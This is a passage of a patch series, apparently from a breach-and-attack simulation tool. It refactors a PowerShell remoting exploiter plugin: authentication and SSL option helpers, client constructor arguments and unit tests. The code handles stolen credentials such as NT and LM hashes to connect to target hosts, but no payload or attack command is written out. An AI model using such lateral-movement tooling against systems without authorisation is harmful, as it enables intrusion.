Malviya Date: Wed, 24 May 2023 17:39:01 +0530 Subject: [PATCH 20/24] PowerShell: Rename _get_ssl_enabled -> _get_ssl_enabled_option and simplify it --- .../src/powershell_authentication_options.py | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py index 69c98c32718..dc40e2d3a71 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_authentication_options.py @@ -2,7 +2,6 @@ from enum import Enum from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext -from common.types import PortStatus from infection_monkey.i_puppet import TargetHost from .powershell_consts import POWERSHELL_SSL_PORT @@ -27,14 +26,14 @@ class AuthenticationOptions: def get_auth_options(credentials: Credentials, host: TargetHost) -> AuthenticationOptions: - ssl_enabled = _get_ssl_enabled(credentials, host) + ssl_enabled = _get_ssl_enabled_option(credentials, host) authentication_type = _get_authentication_type(credentials) encryption_setting = _get_encryption_setting(credentials) return AuthenticationOptions(authentication_type, encryption_setting, ssl_enabled) -def _get_ssl_enabled(credentials: Credentials, host: TargetHost) -> bool: +def _get_ssl_enabled_option(credentials: Credentials, host: TargetHost) -> bool: # Passwordless login only works with SSL false, # AuthenticationType.BASIC and EncryptionSetting.NEVER if isinstance(credentials.secret, Password): @@ -42,13 +41,7 @@ def _get_ssl_enabled(credentials: Credentials, host: TargetHost) -> bool: return False # Check if default PSRemoting ports are open. Prefer with SSL, if both are. - if ( - POWERSHELL_SSL_PORT in host.ports_status.tcp_ports - and host.ports_status.tcp_ports[POWERSHELL_SSL_PORT].status == PortStatus.OPEN - ): # Default for HTTPS - return True - - return False + return POWERSHELL_SSL_PORT in host.ports_status.tcp_ports.open def _get_authentication_type(credentials: Credentials): From 24714b6c1b424dc1fa84b49ecd8722244601f2f4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 24 May 2023 17:52:18 +0530 Subject: [PATCH 21/24] UT: Move agent_plugins/conftest.py to agent_plugins/exploiters/powershell/conftest.py --- .../agent_plugins/{ => exploiters/powershell}/conftest.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/tests/unit_tests/agent_plugins/{ => exploiters/powershell}/conftest.py (100%) diff --git a/monkey/tests/unit_tests/agent_plugins/conftest.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/conftest.py similarity index 100% rename from monkey/tests/unit_tests/agent_plugins/conftest.py rename to monkey/tests/unit_tests/agent_plugins/exploiters/powershell/conftest.py From 17144372c9c580c0f5a8b717abfcc381388f276e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 24 May 2023 15:40:41 +0000 Subject: [PATCH 22/24] Powershell: Use correct parameter names in Client constructor --- .../exploiters/powershell/src/powershell_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py index 5958acf1fca..e700e3c23f3 100644 --- a/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py +++ b/monkey/agent_plugins/exploiters/powershell/src/powershell_client.py @@ -95,8 +95,8 @@ def connect( password=format_password(credentials), cert_validation=False, auth=auth_options.authentication_type.value, - encryption_setting=auth_options.encryption_setting.value, - ssl_enabled=auth_options.ssl_enabled, + encryption=auth_options.encryption_setting.value, + ssl=auth_options.ssl_enabled, connection_timeout=timeout, ) From 27275c1838d3c48d4ab59d5ed707e432524f7701 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 24 May 2023 15:50:02 +0000 Subject: [PATCH 23/24] UT: Remove unneccessary mock return value --- .../powershell/test_powershell_remote_access_client.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py index 55c3e8b2b73..e6722554ed3 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py @@ -139,7 +139,6 @@ def test_copy_file__fails_if_client_copy_fails( ): tags = EXPLOITER_TAGS.copy() mock_powershell_client.connected.return_value = True - mock_powershell_client.copy_file.return_value = True mock_powershell_client.copy_file.side_effect = Exception("file") with pytest.raises(RemoteFileCopyError): From 0f97887c1a602d3c3eeb7e6ee69579e6b58dd875 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 24 May 2023 15:50:45 +0000 Subject: [PATCH 24/24] UT: Remove unused fixture from test parameter lists --- .../powershell/test_powershell_remote_access_client.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py index e6722554ed3..bcbe99acb9d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/powershell/test_powershell_remote_access_client.py @@ -109,7 +109,6 @@ def test_execute__fails_if_command_not_executed( def test_execute__succeeds( - mock_powershell_client: PowerShellClient, powershell_remote_access_client: PowerShellRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy() @@ -148,7 +147,6 @@ def test_copy_file__fails_if_client_copy_fails( def test_copy_file__success( - mock_powershell_client: PowerShellClient, powershell_remote_access_client: PowerShellRemoteAccessClient, ): tags = EXPLOITER_TAGS.copy()